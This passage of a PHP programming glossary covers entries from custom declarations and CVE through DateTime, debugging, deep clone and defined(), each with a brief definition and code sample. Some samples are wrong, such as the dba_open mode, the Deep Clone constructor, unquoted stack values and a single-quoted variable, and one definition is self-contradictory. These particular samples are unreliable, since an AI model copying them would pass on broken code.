Any declaration object may be custom: constants, variables, classes, interfaces, enums, traits.
A custom asset is usually the last to be defined, and, as such, has to use a distinct name. For example, declaring a function called wp_header is possible as long as the code is not part of Wordpress, which does declare it as a common set of features.
<?php
// This is a custom function
function trumpet() {}
?>
See Also
Related
Common Vulnerabilities And Exposures (CVE)
CVE, or Common Vulnerabilities and Exposures, is a standardized, industry-recognized list of publicly disclosed cybersecurity vulnerabilities and exposures in software and hardware. Maintained by the MITRE Corporation, it acts as a dictionary that assigns unique identifiers, e.g. CVE-2022-44702, to security flaws. This allows professionals to uniformly identify, track, and remediate risks.
See Also
Related
Concurent Version System (CVS)
CVS is Concurrent Versions System. It is a revision control system. It is a version control system that allows multiple users to collaborate on a project by managing the changes made to files and keeping track of different versions of those files. CVS was one of the earlier popular version control systems, introduced in the 1980’s.
With CVS, developers can check out a copy of a project’s source code, make changes to files, and then commit those changes back to the repository. It provides features like branching and merging, which allow parallel development and the integration of changes from different branches.
See Also
Related
Cyclomatic Complexity
Cyclomatic complexity is a software metric of the complexity of a program.
This metric measures the number of decisions happening within the code. Those decisions are commands such as If/then, loops, or ternary operators.
<?php
function trumpet() {
if ($a) {
} else {
}
}
?>
See Also
Related
Related packages
Dangling Reference
In a foreach loop, a variable is used for looping through the array. When this variable is configured as a reference, the reference survives after the end of the loop. When this variable is reused later, it applies to the last element of the array and overwrites its value.
This doesn’t happen when the second loop doesn’t use a reference.
It is recommended to unset the referenced variable, after the loop. It destroys the reference, not the value.
<?php
$array = ['a', 'b', 'c'];
foreach($array as &$tusk) {
// doSomething() or even do nothing!
}
// second loop, no reference
foreach($array as $tusk) {
// doSomething() or even do nothing!
}
var_dump($array);
$array = ['a', 'b', 'b'];
?>
See Also
Related
Data Access Object (DAO)
Data Access Object is a design pattern used to abstract and encapsulate all access to a data source, typically a database. The DAO manages the connection with the data source to obtain and store data, leaving the rest of the application decoupled from the persistence layer.
See Also
- Getting Started with PHP Data Access Object (DAO) Pattern
- Decoupling models from the database: Data Access Object pattern in PHP
Related
Data Container
A data container is a structure that stores data. It is a generic concept, that covers variables, both local and global, properties, both static and simple, and array elements.
<?php
$a = 1;
$object->property = 'b';
$array = ['a', 3, 4.4];
?>
Related
Data Flow Analysis (DFA)
Data flow analysis, or DFA, is a static analysis technique that tracks how data values move through a program. It follows variables from the point where they are defined or assigned to the points where they are used.
Common data flow problems include:
- Reaching definitions: which assignments of a variable can reach a given use
- Live variables: which variables hold values that may still be used later
- Taint analysis: whether user-supplied data can reach a sensitive sink without sanitisation
- Type inference: propagating known type information across the program
- Null propagation: detecting paths where a null value is used without a check
Data flow analysis requires a control flow graph. It is foundational for security tools that detect injection vulnerabilities and for compilers that optimise code.
<?php
function process(string $input): string {
$sanitized = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// Data flow analysis confirms $sanitized is safe to echo
return $sanitized;
}
function unsafe(string $input): void {
// Data flow analysis flags $input as tainted at this sink
echo $input;
}
?>
See Also
Related
- Control Flow Analysis
- Control Flow Graph (CFG)
- Taint Analysis
- Analysis
- Static Application Security Testing (SAST)
- SQL Injection
- Cross Site Scripting (XSS)
- Lexical Analysis
- Semantic Analysis
- Symbolic Analysis
- Pattern-Based Analysis
Data Hiding
Data hiding is a core principle of object-oriented programming that restricts direct access to certain components of an object. It is achieved through visibility modifiers: private, protected, and public.
By hiding internal state, a class controls how its data is accessed and modified, preventing accidental corruption and enforcing invariants. This leads to more maintainable, testable, and robust code.
PHP provides several mechanisms for data hiding:
- Visibility modifiers on properties and methods:
private,protected,public - The
readonlykeyword for immutable properties - The
__get()and__set()magic methods for controlled access - Typed properties which enforce type constraints on assignment
Data hiding is closely related to the concept of encapsulation, which bundles data and methods that operate on that data within a single unit, controlling external access.
<?php
class BankAccount {
private float $balance;
private string $owner;
public function __construct(string $owner, float $initialBalance) {
$this->owner = $owner;
$this->balance = $initialBalance;
}
// Controlled access through methods
public function deposit(float $amount): void {
if ($amount <= 0) {
throw new \InvalidArgumentException('Amount must be positive');
}
$this->balance += $amount;
}
public function getBalance(): float {
return $this->balance;
}
}
$account = new BankAccount('Alice', 1000);
// $account->balance = 999999; // Fatal error: cannot access private property
$account->deposit(500);
echo $account->getBalance(); // 1500
?>
See Also
Related
- Encapsulation
- Visibility
- Private Visibility
- Protected Visibility
- Public Visibility
- Readonly
- Properties
- OOP (Object Oriented Programming)
- Class Getter Method
- Class Setter Method
- Defensive Programming
- Mutability
Data Leak
A data leak is the publication of unwanted information, which leads to further security attack, or actual data theft.
A data leak may be both a successful breach, when it collects directly usable information, such as reading private information; it may also be a stepping stone for a following and more complex attack, such as identifying the PHP version or the underlying framework.
See Also
Related
Data Mapper
A data mapper, also called an object mapper, performs a bidirectional conversion of data, between PHP’s OOP representation and a database storage.
The data mapper is responsible for CRUD operations: create, read, update and delete.
See Also
Related
Data
Data is a broad term that refers to information, facts, or statistics that are represented in a form suitable for processing, interpretation, or communication. Data can take various forms, including numbers, text, images, sounds, and more. In the context of computing and technology, data often refers to digital information that can be manipulated, stored, and analyzed by computer systems.
Data may be structured or unstructured, raw or processed, insecure or validated. There is also the expression of big data for large datasets.
See Also
Related
Database Commit
A database commit makes a transaction’s changes permanent. Once committed, the modifications are durable and visible to other connections.
A commit is issued via a call to a commit method, such as PDO::commit() or mysqli_commit() after a sequence of statements executed inside a transaction started with PDO::beginTransaction() or mysqli_query(). If any step fails, PDO::rollBack() or mysqli_rollback() reverts all changes.
Auto-commit mode is enabled by default in PDO: each statement is immediately committed unless an explicit transaction is open.
Each database extension has its own commit method. There is often an auto-commit mode, where the commit is implicit after each query: it must be disabled to allow multiple queries in the same transaction.
<?php
$pdo = new PDO('mysql:host=localhost;dbname=shop', 'user', 'pass');
try {
$pdo->beginTransaction();
$pdo->exec("UPDATE accounts SET balance = balance - 100 WHERE id = 1");
$pdo->exec("UPDATE accounts SET balance = balance + 100 WHERE id = 2");
$pdo->commit();
} catch (Exception $e) {
$pdo->rollBack();
throw $e;
}
?>
See Also
Related
Database
A database is an organized set of data, which may be queried.
The database differs from the dataset by the query mechanism.
The database may be managed by a server, though it is not necessary.
Related
- Dataset
- Normalisation
- Vector Database
- SQL Database
- Nosql Database
- Key-value Stores
- XML Database
- Connexion Persistence
- Database Abstraction Layer (DBA) Extension
- Framework
- Schema
- Application Server
- Permission
- PostgreSQL
- Rollback
- Search Engine
- Atomic Operation
- Column Database
- Data Source Name (DSN)
- Transaction
- Unique Identifier
- Database Commit
- Document Database
- Handle
- Migration
- Foreign Key (FK)
- Referential Integrity
- mysqli
- Oracle
- Change Data Capture
- Index For SQL
- Latency
- Shared Database
- Universally Unique Lexicographically Sortable Identifier (ULID)
- Auto-Increment
- Extract, Transform, Load (ETL)
- MongoDB
- Primary Key
- Soft Delete
- Stored XSS
- Surrogate Key
Dataset
A dataset is an organized collection of data.
The data may be structured or not. The dataset needs a programming language to query it, or will be imported in a database for further processing.
Related
Datastack
A data stack is a LIFO data structure: the last data added to the stack is the first to get out.
A data stack may be implemented with an array, and the array_push(), or $array[] operator, and the array_pop() functions.
There is also a class called SplStack, in the spl extension, and Ds\Stack in the ds extension.
<?php
$stack = [];
$stack[] = first;
$stack[] = second;
// same as array_push($stack, second);
echo array_pop($stack); // Outputs: second
?>
See Also
Related
Data Structure
A data structure is a way of organizing and storing data in memory to enable efficient access and modification. PHP’s primary data structures are the classes and arrays, which include indexed arrays, associative arrays, anonymous classes and nested structures in a single construct.
For more specialized needs, the spl and ds extensions offer types beyond the default PHP ones.
Choosing the right data structure has a direct impact on algorithmic complexity and memory usage.
<?php
use Ds\Vector;
use Ds\Map;
$vector = new Vector([1, 2, 3]);
$map = new Map(['key' => 'value']);
$stack = new SplStack();
$stack->push('first');
?>
See Also
Related
- Array, []
- Data Structure
- Standard PHP Library (SPL)
- Collection
- Deque
- SplStack
- Map
- Tree
- Queue
- Algorithmic Complexity
- Big-o-notation
- Bucket
- Handle
- Pair
- Pop
- Sequence
- Set
- SplDoublyLinkedList
- SplObjectStorage
Related packages
Dates
These functions allow to get the date and time from the server where the application is running. These functions format the date and time in many different ways.
<?php
$dt = new DateTimeImmutable('2015-11-01 00:00:00', new DateTimeZone('America/New_York'));
echo 'Start: ', $dt->format('Y-m-d H:i:s P'), PHP_EOL;
$dt = $dt->add(new DateInterval('PT3H'));
echo 'End: ', $dt->format('Y-m-d H:i:s P'), PHP_EOL;
?>
See Also
Related
DateInterval
DateInterval is a class for the representation of period of time, or stretch of time. It may be added to DateTimeImmutable and DateTime objects. It is only created as a time duration.
<?php
// Create a specific date
$someDate = \DateTime::createFromFormat('Y-m-d H:i', '2022-08-25 14:18');
// Create interval
$interval = new \DateInterval('P7D');
// Add interval
$someDate->add($interval);
// Convert interval to string
echo $interval->format('%d');
?>
See Also
Related
Related packages
Datetime Trap
When using Datetime objects, be aware that methods that return the modified date are actually returning the object itself. This means that calculating a difference with diff(), add(), modify() methods also changes the underlying object.
This trap is also set in packages that are built on top of Datetime.
To avoid this trap, use the DatetimeImmutable class. This class is not modified by those methods, but returns a new object every time.
<?php
$today = new Datetime('now');
print $today->format('d-m-Y').PHP_EOL;
// for example, 24-11-2026
$tomorrow = $today->add(new DateInterval('P1D'));
print $tomorrow->format('d-m-Y').PHP_EOL;
// 25-11-2026 (as expected)
$twoDaysLater = $today->add(new DateInterval('P2D'));
print $twoDaysLater->format('d-m-Y');
// 27-11-2026 (one day overshoot!)
?>
See Also
- I just fell into the Date Trap in PHP
- PHP DateTime difference – it’s a trap!
- What’s all this “immutable date” stuff, anyway?
Related
DateTime
DateTime and DateTimeImmutable is a class for the representation of date and time. It has two variants: DateTimeImmutable cannot be modified after creation, while DateTime can.
Both classes comes with the DateTimeInterface, for typing purposes.
DateTime objects may be created with the constructor, and with several specific methods, such as createFromInterface, createFromFormat or createFromImmutable.
<?php
$date = new DateTimeImmutable('2024-02-24 11:45 America/Montreal');
$mutable = DateTime::createFromInterface($date);
$date = new DateTime('2014-06-20 11:45 Europe/Amsterdam');
?>
See Also
Related
- Dates
- Calendar
- DateInterval
- Days Are Not 86400 Seconds
- Micro-second
- Clock
- Datetime Trap
- DateTimeInterface
Related packages
DateTimeInterface
DateTimeInterface is a PHP interface implemented by both DateTime and DateTimeImmutable. It defines the common API shared by both mutable and immutable date-time objects.
Using DateTimeInterface as a type in function signatures accepts either class, making code agnostic to mutability. It cannot be implemented by user-defined classes directly; it exists solely to type both built-in date-time classes.
DateTimeInterface exposes methods such as format(), getTimestamp(), getTimezone(), and diff().
<?php
function formatDate(DateTimeInterface $date): string {
return $date->format('Y-m-d');
}
// both classes satisfy the type
echo formatDate(new DateTime('2024-01-15'));
echo formatDate(new DateTimeImmutable('2024-06-03'));
?>
See Also
Related
Days Are Not 86400 Seconds
Days in seconds is a classic bug when dealing with dates. It happens when adding 86400 seconds to a time to get the same time on the next day.
The bug will happen most commonly twice a year, at the change of time from winter to summer time. Those days are one hour longer or shorter and lead to calculating the wrong time on the next day.
This bug may also have an impact when the internal clock of the server is updated, or when extra leap seconds are added, on December 31st or June 30th. It depends on the years.
When dealing with days, it is recommended to use an interval, or use a relative expression like 'tomorrow'.
<?php
$tomorrow = new DateTime('tomorrow');
$secondsLeft = $tomorrow->getTimestamp() - time();
echo $secondsLeft;
?>
See Also
Related
Days In Month
Days in month is a classic bug when dealing with dates. It happens when adding a month to a date and ending up two months later.
This happens when adding a month to the last day of a month, while this month is longer than the next. For example, January 31st, or Halloween October 31st. After adding a month, PHP calculates it as the November 31st, which doesn’t exists. Yet, PHP converts it to December 1st.
When dealing with months, it is recommended to use expressions like ‘first day of this month’, or ‘next month’, instead of adding a month to an existing date.
<?php
echo date('d-m-Y', strtotime('+1 months', strtotime('31 October 2000')));
echo (new DateTime('first day of this month'))->format('jS, F Y');
echo (new DateTime('next month'))->format('jS, F Y');
?>
See Also
- How to Get Number of Days in Current Month in PHP?
- The Silent Bug That Corrupts Your Monthly Data in Laravel
Related
Related packages
Database Abstraction Layer (DBA) Extension
The Database Abstraction Layer, or DBA, extension provides a unified and consistent programming interface for interacting with various key-value database systems, especially those that follow the Berkeley DB-style architecture. This extension allows developers to perform database operations like reading, writing, updating, and deleting records using the same set of functions, regardless of the underlying database type. It simplifies the process of working with different flat-file database formats by abstracting away their individual APIs, making the code more portable and easier to maintain when switching between supported database engines like DBM, GDBM, or Berkeley DB.
<?php
// Example from the PHP manual
$id = dba_open('/tmp/test.db', "\n", 'db2');
if (!$id) {
echo "dba_open failed\n";
exit;
}
dba_replace('key', 'This is an example!', $id);
if (dba_exists('key', $id)) {
echo dba_fetch('key', $id);
dba_delete('key', $id);
}
dba_close($id);
?>
See Also
Related
Database Abstraction Layer (DBAL)
A Database Abstraction Layer, a DBAL, provides one unique interface to build, and execute queries on different databases. This is said to help with migration between different flavors of databases, yet SQL language usually prevents it.
Related
Related packages
Domain Design Driven (DDD)
Domain-Driven Design, aka DDD, is a software development approach that emphasizes structuring and modeling software based on the real-world domain it is meant to represent. It was popularized by Eric Evans in his book Domain-Driven Design: Tackling Complexity in the Heart of Software.
See Also
- Domain-Driven Design in PHP: Unlocking the Power of Software Modeling
- Domain Driven Design Reference
Related
- Value Object (VO)
- Data Transfer Object (DTO)
- Business Logic
- Event Storming
- Snapshot
- Specification
- Domain
- Identity
- Anemic Domain Model
- Distributed Monolith
- Event Replay
- Event Store
- Ports And Adapters
- Rich Domain Model
- Shared Database
Distributed Denial Of Service (DDOS)
Distributed Denial Of Service, or DDOS, is a type of attack where many computers flood a target, like a website or server, with traffic to overwhelm it and make it unavailable.
Often, the DDOS uses an operation on the target that is long or costly, so that the number of requests generates a large load on the server.
https://en.wikipedia.org/wiki/Denial-of-service_attack
See Also
- What Happens When a PHP Application Is DDoSed: A Guide for Beginners to Advanced Developers
- How PHP Vulnerability Leads to DDoS and Malware Attack?
Related
Dead Code
Dead code refers to sections of code that are no longer executed or reachable during the program’s execution. It includes any lines or blocks of code that do not contribute to the program’s functionality or produce any observable results. Dead code can be the result of code modifications, changes in requirements, or mistakes during development.
Dead code is also known as unused code. It happens to any defined structure. Variables, methods, functions, classes, interfaces, etc..
<?php
// stampede is dead code : never executed
function stampede() { echo 'World'; }
// trumpet() is alive code : it is executed
function trumpet() { echo 'Hello'; }
echo trumpet();
?>
See Also
- Delete unused code (and how to retrieve it)
- The Art of Code Deletion: Why Removing Code Makes You a Better Developer
- Unused code detector — How to make your PHP code cleaner
Related
Related packages
Deadline
A deadline, and the act of carrying it down through the call chain, deadline propagation, is an absolute point in time by which an entire unit of work, potentially spanning several retries and several downstream calls, must finish, as opposed to a timeout, which bounds a single call. Where a timeout answers ‘how long may this one attempt take’, a deadline answers ‘when must all of this be done, no matter how many attempts or hops it takes to get there’.
A deadline is set once, near the entry point of a request, for example a controller, and is then propagated down through every layer that makes further calls: a service, a repository, an HTTP client, a retry loop. Each layer computes the time remaining and uses it to size its own timeout, and to decide whether it is even worth attempting another retry: once now() > deadline, the operation is abandoned and reported as failed, rather than retried again with whatever time-bounded budget the next layer would otherwise allow. This prevents death by a thousand retries, where several layers each retry independently, and their retries multiply into a response time far larger than any individual timeout would suggest.
PHP has no built-in deadline primitive comparable to Go’s context.Context or gRPC deadlines: applications propagate a deadline by hand, typically as a timestamp carried in a request-scoped object, in Laravel’s Context facade, or as an extra argument threaded through the call chain, and subtract elapsed time from it before each downstream call or retry attempt.
<?php
function withDeadline(callable $operation, float $deadline): mixed {
$remaining = $deadline - microtime(true);
if ($remaining <= 0) {
throw new \RuntimeException('Deadline already exceeded');
}
return $operation($remaining); // pass the remaining budget down
}
$deadline = microtime(true) + 2.0; // 2 seconds for the whole operation
withDeadline(
fn ($budget) => $client->request('GET', $url, ['timeout' => $budget]),
$deadline
);
?>
See Also
Related
Technical Debt
Debt generally refers to technical debt, as a whole.
Technical debt represents the extra development work that arises when code is written in a quick-and-dirty way instead of following best practices. Previous work has left issues to be fixed later and that later is now.
Technical debt is not built visibly on the spot, but is usually assessed later, when the need for a previous chore becomes a reality. It may be opposed to YAGNI: you are not going to need it.
There are many types of debt: code, maintenance, documentation, readable, visual, etc.
By extension, anything that currently slows down development is considered a debt.
See Also
- PHP Maintenance and Tech Debt: 2025 Trends
- Taming Technical Debt: A Practical Guide to Managing Deprecations in PHP and Laravel
- Technical debt is not malice
Related
Debug
Debugging is the action to diagnostic a bug, find its root cause, quick workaround and definitive fix for it.
Debugging is a complex tasks.
Debugging uses various tools of analysis:
- Log
- Event log
- Audit trail
- Traces, with
print_r(),var_dump(),debug_backtrace() - Debuggers, such as
xdebug,php debugger,php-dbg.
See Also
Related
debug_backtrace()
debug_backtrace() is a PHP native function that generates a backtrace.
debug_backtrace() is used for inline debugging, or to collect more information before logging errors.
debug_backtrace() returns a dataset concerning the current situation of execution. It does not display anything: that function is either custom made, or devoted to debug_print_backtrace().
<?php
function trumpet() {
print_r(debug_backtrace());
/**
Array
(
[0] => Array
(
[file] => /tmp.php
[line] => 7
[function] => trumpet
[args] => Array
(
)
)
)
*/
}
trumpet();
?>
See Also
Related
Debugger
A debugger is an extension or an external program that is used to help when searching for bugs or issues in source code. They provide extra visibility on the internal working of the application, including variable content.
As there are many tactics to search for a bug, there are many tools available.
The PHP ecosystem of debuggers includes:
- PHP native functions such as
var_dump(),print_r(),debug_backtrace()… - PHP external components like
kint,whoops,krumo - Debuggers: interactive PHP Debugger, xdebug, PHP debugger, etc.
Debugging includes executing the code step by step, displaying and modifying the content of variables.
Debuggers are integrated into IDEs, or work as standalone applications.
<?php
// simple debug system with native PHP print_r
print_r($_GET);
?>
See Also
Related
- Debug
- Integrated Environment of Development (IDE)
- var_dump()
- print_r()
- Backtrace
- PHP Editor
- PHP Profiler
- Tool
decbin()
decbin() is a PHP native function that converts a decimal integer to its binary string representation.
decbin() takes a single integer argument and returns a string of 0 and 1 characters, without any 0b prefix. Negative numbers are converted using the 32-bit or 64-bit two’s complement representation, depending on the platform, which produces a long string of ones.
The reverse operation is bindec(), which converts a binary string back to a decimal number. Related functions convert to and from other bases: dechex() and hexdec() for hexadecimal, decoct() and octdec() for octal. base_convert() handles arbitrary bases.
<?php
echo decbin(12); // 1100
echo decbin(26); // 11010
echo decbin(-1); // 1111111111111111111111111111111111111111111111111111111111111111 (on 64-bit)
?>
See Also
Related
Declaration
A declaration is a statement that defines a structure, such as a function, a class, method, property, etc. A declaration must occur before the usage of the declared resource.
PHP requires a declaration for some structures, and allows its omission for others. For example, a class must be declared before usage, while a variable can be used without declaration. Properties are currently being moved to a compulsory declaration.
<?php
// cannot call a function before defining it
trumpet();
function trumpet() {}
class Elephpant {
function forage() {
// This is a warning since PHP 8.2, planned to be a fatal error in PHP 9.0
$this->undeclaredProperty = 1;
// $b is undefined. It creates a warning, but the code keeps executing.
$a = $b + 1;
}
}
?>
See Also
Related
Declarative Programming
Declarative programming is a programming style, where the goal of the task is described, but not the method to reach it. This is left to the source code to solve it in the way it sees fit.
Declarative programming is flexible in the way it expresses its requirements. It leaves room to optimization: as long as a step fulfills its mission, it may be used. On the other hand, several versions of the step may be created, with various optimisations. When several options are available, it requires a way to make a choice.
See Also
Related
declare Encoding
declare() with the encoding keyword specifies the encoding of the file that holds PHP script. This applies to the current file only. It affects both syntax, that PHP processes, and the literal values, which are ultimately displayed.
<?php
declare(encoding='UTF-8');
?>
See Also
Related
declare()
declare()is used to set execution directives for a block of code.
declare() may set the following values:
strict_types: strict typing in the blockticks: generate a tick eventencoding: per-file encoding directive
declare() affects some configuration for the next block of code.
It is a language construct.
<?php
declare(strict_types=1, encoding='UTF-8');
?>
See Also
Related
Decode
To decode is to transform a piece of data, from a specialized format to a human readable one.
The conversion is lossless, and shall be reverted with an encode operation.
<?php
// convert an array to a JSON string
// This is also called 'encoding', and may be decoded
$array = ['a' => 1];
$json = json_encode($array);
$original = json_decode($json);
?>
See Also
Related
Decorator Pattern
A decorator, or decoration, is a design pattern used to add behavior or responsibilities to objects dynamically, without altering their code. Decorators are often used to extend the functionality of classes or objects by wrapping them in additional classes that provide the desired functionality.
<?php
interface Coffee {
function cost();
}
class SimpleCoffee implements Coffee {
public function cost() {
return 5;
}
}
class MilkDecorator implements Coffee {
protected $coffee;
public function __construct(Coffee $coffee) {
$this->coffee = $coffee;
}
public function cost() {
return $this->coffee->cost() + 2;
}
}
?>
See Also
- Decorating Member Objects
- Hands-on decoration
- Strategy vs Decorator in PHP: Choosing the Right Design Pattern
Related
- Design Pattern
- Design Pattern Wrapper
- Proxy Class
- Interface
- Aspect-Oriented
- Facade
- Middleware Pattern
Related packages
Decoupling
Decoupling refers to the software engineering concept where different parts of a system are made as independent from each other as possible. This means one component can change, be replaced, or fail without strongly affecting other components.
The opposite of decoupling is coupling.
See Also
Related
- Coupling
- Dependency
- Listener
- Message Bus
- Pub/Sub
- Separation Of Concerns
- Aspect-Oriented
- Cohesion
- Headless
- Interoperability
Decrement
Decrement refers to the process of decreasing or subtracting a small amount from a value, or simply one unit.
Decrement usually refers to the pre-decrement and post-decrement operators, written --. Decrement applies to numbers, both decimal and integers. Unlike increment, it does not apply to strings: there is no string decrement, and -- on a non-numeric string leaves it unchanged. Decrement works on null: it always produces null, as decrementing null has no effect.
<?php
$a = 1;
echo --$a; // pre minus minus : displays 0, and $a ends with 0
echo $a--; // post minus minus : displays 0, and $a ends with -1
echo $a -= 1; // decrement : displays -2
?>
See Also
Related
To Decrypt
To decrypt is to apply a data transformation on encrypted data to access the original and readable information. Usually, the transformation involves a key. That key may be public or private.
Decrypting data may be done after the transit of information, or its storage, in a database. In both case, privacy is critical.
The opposite to crypt is to crypt, when it is a legit operation. The evil equivalent to decrypt is to crack, when the secrets have been forced by any mean.
<?php
// Encryption
$key = openssl_random_pseudo_bytes(32); // 256-bit key
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
$plaintext = 'PHP rocks';
$ciphertext = openssl_encrypt($plaintext, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
$encrypted = base64_encode($iv . $ciphertext);
// Decryption
$decoded = base64_decode($encrypted);
$iv = substr($decoded, 0, openssl_cipher_iv_length('aes-256-cbc'));
$ciphertext = substr($decoded, openssl_cipher_iv_length('aes-256-cbc'));
$decrypted = openssl_decrypt($ciphertext, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
echo 'Encrypted: ' . $encrypted . PHP_EOL;
echo 'Decrypted: ' . $decrypted . PHP_EOL;
?>
See Also
- How to Encrypt and Decrypt a PHP String?
- Using PHP openssl_encrypt and openssl_decrypt to Encrypt and Decrypt Data
Related
Deduplication
Deduplication is the process of detecting and discarding duplicate occurrences of an operation, message, or record. It ensures that even when the same input arrives more than once, it is processed only once.
Deduplication is related to, but distinct from, idempotency. An idempotent operation can safely be executed multiple times because repeated executions have no additional effect. Deduplication prevents the repeated execution from happening at all, typically by tracking a unique identifier and short-circuiting on a match.
In applications, deduplication is commonly applied to webhook deliveries, queue message processing, and form submissions, using a cache or database table to record seen identifiers within a retention window.
See Also
- Idempotency vs Deduplication: Demystifying Two Essential Concepts for Reliable Systems
- A Detailed Guide to Idempotency, Delivery Semantics, and Deduplication
Related
Deep Clone
A deep clone is an object cloning, where the cloned object also clone its own object properties. This prevents the original object to share data with the cloned one, yet it is slower to process.
Deep cloning is achieved by using the __clone magic method. By default, PHP does shallow clones.
<?php
class Dog {
private $name = '';
private Address $address;
function __construct(string $name, Address $address) {
$this->address->setName($address);
}
function moves(string $address) {
$this->address->setName($address);
}
function __clone() {
$this->address = clone $this->address;
}
}
$spike = new Dog('Spike', new Address('Acme city'));
$medor = clone $spike;
$medor->moves('Upstate farm');
// spike and medor do now share the same address
?>
See Also
Related
Default Parameter
Methods may define a default value for parameters. That way the parameter may be omitted during the call, and this value will be used.
The default value may be a static expression, and, since PHP 8.1, also includes a new expression.
The default parameter must be the last of the parameters: adding a parameter without default value after one will yield an error and mess up the call parameters.
<?php
function makeCoffee($type = 'latte') {
return 'Making a cup of $latte';
}
?>
See Also
Related
Default Value
Default value is the value that a parameter or a property takes when it is used for the first time, and have not been provided.
Arguments and properties may have a default value. That way, arguments may be skipped when the method is being called, and the properties do not have to be initialized before usage.
Variable have a default value of null. Their initial assignment is considered a default value, as it replaces the null one.
<?php
function trumpet($a = 1) {
echo $a;
}
trumpet('one ');
trumpet();
// displays one 1
?>
See Also
Related
Default
default is a PHP keyword, used with switch() and match() structures. It represents any case that was not already considered.
In a switch() statement, default is optional, and may be placed anywhere among the case labels, though it is conventionally written last. It is only executed when none of the case values matches the tested expression, using loose comparison, ==. If a switch() has no default and no case matches, the statement simply does nothing, and execution continues after the block. Unlike case, default never needs a value, since it always matches by exclusion.
In a match() expression, introduced in version 8.0, default plays the same role, but the comparison uses strict equality ===, and a missing default combined with no matching arm throws an UnhandledMatchError at runtime, rather than doing nothing. Because match() is an expression, its default arm must also return a value, just like every other arm.
Static analysis tools often flag a switch() without a default case as a potential source of silently unhandled values, especially when the tested expression can later gain new possible values, such as an enum case or a class constant.
<?php
switch ($i) {
case 0:
echo 'i equals 0';
break;
case 1:
echo 'i equals 1';
break;
default:
echo 'i is not 0 nor 1';
break;
}
?>
See Also
- PHP match vs. switch – What’s the Difference?
- Switch vs Match in PHP: Choosing the Right Control Structure for Your Code
Related
default_charset
default_charset is the default value for the character encoding with htmlentities(), html_entity_decode() and htmlspecialchars(), when the encoding parameter is omitted.
It also defines the default character set for iconv and mbstring extensions, and for the Content-Type HTTP headers, when custom versions are not defined.
The value of default_charset must be a valid IANA character set name. Possible values include UTF-8, by default, ISO-8859-1, also known as Latin1, Windows-1252, ISO-8859-15, Shift_JIS, EUC-JP, GB2312, Big5. The charset is case-insensitive, so big5 and BIG5 and Big5 are all valid. An invalid charset defaults, again, to UTF-8.
See Also
Related
Defensive Programming
Defensive programming is a programming approach where the code is written assuming that things can go wrong, even when they shouldn’t, and it should actively guard against incorrect input, unexpected states, or misuse.
<?php
try {
$number = random_int(0, 10);
} catch (Random\RandomException $e) {
// This handle cases where no entropy sources are found
// This is very rare
}
?>
See Also
- Learn 5 defensive programming techniques from experts
- Defensive programming: the good, the bad and the ugly
Related
Defer Statement
Go’s defer statement schedules a function call to run when the enclosing function returns, regardless of which return statement was reached or whether a panic is in flight: defer file.Close() right after opening a file guarantees the close happens at every exit path, without needing a finally block. Multiple deferred calls run in last-in-first-out order, and they can still read and modify the function’s named return values before it actually returns.
Unlike a try/finally block, defer is not tied to a lexical block: it can be scattered anywhere in the function body, right next to the resource acquisition it cleans up, rather than requiring the rest of the function to be wrapped in a block.
PHP has no defer statement. Guaranteed cleanup on every exit path is expressed with try/finally, which does require wrapping the relevant code in a block, or with a destructor __destruct() that runs when the object holding the resource is garbage-collected, which is not guaranteed to happen at a predictable point in the function’s execution.
<?php
// No defer: cleanup must be wrapped, or moved into a destructor.
function readConfig(string $path): array {
$handle = fopen($path, 'r');
try {
return parse($handle);
} finally {
fclose($handle);
}
}
?>
See Also
Related
define()
define() is a PHP function that introduces global constant definitions.
define() is a function, and may be called anywhere. It is slower than const, as it is only executed at runtime. define() doesn’t allow the creation of class constants.
define() used to create case-insensitive constants, and this was abandoned in version 7.3.
define() cannot create class constants.
<?php
define('HELLO', 'Hello');
print HELLO . " world\n";
?>
See Also
Related
defined()
defined() checks if a constant or a class constant is defined in the current context of execution.
defined() is a function, and may be called on any piece of string. true is returned when the string is a valid name of a constant, and a value for it was found. Otherwise, it returns false, without error.
defined() doesn’t take into account the use const expressions: it should be a fully qualified constant name, or a relative one.
defined() is a native function.
<?php
var_dump(defined('UNKNOWN')); // false
var_dump(defined('Not a constant')); // false
var_dump(defined('E_ALL')); // true
var_dump(defined('\E_ALL')); // truet
// use expression are not handled
use const E_ALL as E;
var_dump(defined('\E')); // false
// with class constants
class E { const E = 1; }
var_dump(defined('E')); // false
var_dump(defined('E::E')); // true
// do not confuse the constant and its value
const F = 'E';
var_dump(defined(F)); // false
?>
See Also
Related
Definition
A definition is the description of a particular constant, function, method, property, class, trait, interface or enum.
A variable also has a definition, also called an initialisation: variables have no formal definition. They use an unconditional assignation to do so.
The definition is also called a declaration. The declaration must happen before usage.
Definitions happens in custom code, in libraries or in extensions.
There are functions dedicated to listing defined elements: get_declared_constants(), get_declared_traits(), get_declared_interfaces(), get_declared_classes(), get_class_vars() and get_class_methods().
<?php
//function declaration
function trumpet() {
print 'OK';
}
// call to the function trumpet
trumpet();
?>
See Also
- Difference Between Declaration and Definition in Programming
- Difference Between Declaration and Definition
Related
delayedtargetvalidation
The DelayedTargetValidation attribute is meant to make other PHP engine attributes optional. It will shut down complains from the PHP engine for attributes, allowing for future compatibility.
<?php
class Child extends Base {
#[\DelayedTargetValidation]
#[\Override]
const NAME ='Child';
}
?>
See Also
Related
Delimiter
Delimiters are specific characters that start and end a specific area. They are used in structured datasets, to identify a special value among others.
Delimiters are a kind of separator: while separators are the boundary between two distinct values, delimiters frame them with a beginning and an end.
Delimiters may be the same at the beginning and the end. For example, single or double quotes for strings. Or the classic / for regexes, which may actually be any non-alpha-numeric character.
Delimiters may be different at the beginning and the end. For example, parentheses () and curly braces {}, or the PHP tags, <?php ?>.
Inside the structure, the delimiters are forbidden, to avoid confusing them with the actual limits of the data. If the delimiter characters are needed inside the structure, they may be escaped with another character, such as the backslash inside strings '\''; the delimiters may be replaced by another delimiter, such as in regex where a lot of delimiters are possible; they may also be deactivated with options, such as \Q and \E in regexes.
<?php
// delimiters for strings
echo '';
// special options in regexes
print preg_match('/^\Q'.$regex.'\E$/i', 'tests') ? 'match' : 'nomatch';
?>
Related
Dependency Injection Container
A dependency injection container is a tool to make dependency injection easy to use.
The application requests an object of class Foo to the container. The container then build any dependency for that object, then build that object and returns it.
PSR-11 is related to containers.
See Also
